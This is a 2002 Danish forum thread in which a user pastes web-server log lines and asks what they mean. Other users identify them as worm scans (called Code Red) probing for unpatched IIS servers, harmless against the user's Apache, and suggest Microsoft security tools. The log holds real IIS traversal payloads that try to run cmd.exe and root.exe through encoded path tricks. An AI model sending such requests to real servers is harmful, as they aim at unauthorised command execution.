Avatar billede itarkiv Nybegynder
10. december 2002 - 18:16 Der er 14 kommentarer og
1 løsning

Hvad sker der!?

Uddrag fra min logfil:

80.161.113.242 - - [10/Dec/2002:18:05:03 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 279
80.161.113.242 - - [10/Dec/2002:18:05:11 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
80.161.113.242 - - [10/Dec/2002:18:05:19 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 289
80.161.113.242 - - [10/Dec/2002:18:05:26 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
80.161.113.242 - - [10/Dec/2002:18:05:34 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.161.113.242 - - [10/Dec/2002:18:05:42 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 320
80.161.113.242 - - [10/Dec/2002:18:05:50 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 336
80.161.113.242 - - [10/Dec/2002:18:05:58 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:07 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:14 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:22 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
80.161.113.242 - - [10/Dec/2002:18:06:30 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286
80.161.113.242 - - [10/Dec/2002:18:06:38 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 286
80.161.113.242 - - [10/Dec/2002:18:06:45 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
80.161.113.242 - - [10/Dec/2002:18:06:59 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
Avatar billede Slettet bruger
10. december 2002 - 18:34 #1
Avatar billede itarkiv Nybegynder
10. december 2002 - 18:39 #2
Noget alvorligt?
Avatar billede Slettet bruger
10. december 2002 - 18:41 #3
Nah, han har bare fået smidt 404 siden kan ikke vises i hovedet, så det er ikke så slemt.
Avatar billede itarkiv Nybegynder
10. december 2002 - 18:42 #4
Dvs. at han ikke er kommet ind på min PC?
Avatar billede webmasterdk Praktikant
10. december 2002 - 18:43 #5
Avatar billede htm Nybegynder
10. december 2002 - 18:44 #6
he he nej det er ikke alvorligt - det rt en IIS webserver der idetificeret af Code Red og dermed forsøger at sprede sig! Den bider ikke på apache og er derfor bare noget man skal ignorerer!
Avatar billede webmasterdk Praktikant
10. december 2002 - 18:44 #7
schulze >> ikke hacker,... en virus, der forsøger at finde en iis server som den kan inficere og fortsætte med at sprede sig fra
Avatar billede Slettet bruger
10. december 2002 - 18:45 #8
Ikke udfra det du viser her.

Men hent http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/Security/tools/tools/MBSAHome.ASP og lav et sikkerhedstjek af dit system.
Avatar billede Slettet bruger
10. december 2002 - 18:48 #9
webmasterdk>Bare sjovt der er en DK ip bag... well hvis alle sikkerhedsopdateringer er installeret skulle der ikke være grund til bekymring.

Du kan også hente http://www.microsoft.com/technet/security/tools/tools/locktool.asp det sørger for en mere sikker IIS.
Avatar billede itarkiv Nybegynder
10. december 2002 - 18:50 #10
Jeg bruger Apache jo
Avatar billede webmasterdk Praktikant
10. december 2002 - 18:52 #11
schulze >> Stadig en virus, nu ved jeg ikke hvordan den præcist søger på adresser, men hvis vi nu siger at den så søger i det ip scope som den selv er placeret på til at starte med og så udvider sit felt lidt efter lidt, så er det ikke helt i været at det er en dansk
Avatar billede Slettet bruger
10. december 2002 - 18:52 #12
LOL det havde jeg ikke lige bemærket sorry.
Avatar billede htm Nybegynder
10. december 2002 - 18:52 #13
itarkiv>> Derfor skal du ikke bekymre díg om det - det er kun en virus der rammer IIS servere der ikke er opdaterede!
Avatar billede Slettet bruger
10. december 2002 - 18:52 #14
webmasterdk>Ah, ok thx for info.
Avatar billede webmasterdk Praktikant
10. december 2002 - 18:53 #15
været = vejret :)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Uanset kodesprog, så giver vi dig mulighederne for at udvikle det, du behøver.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester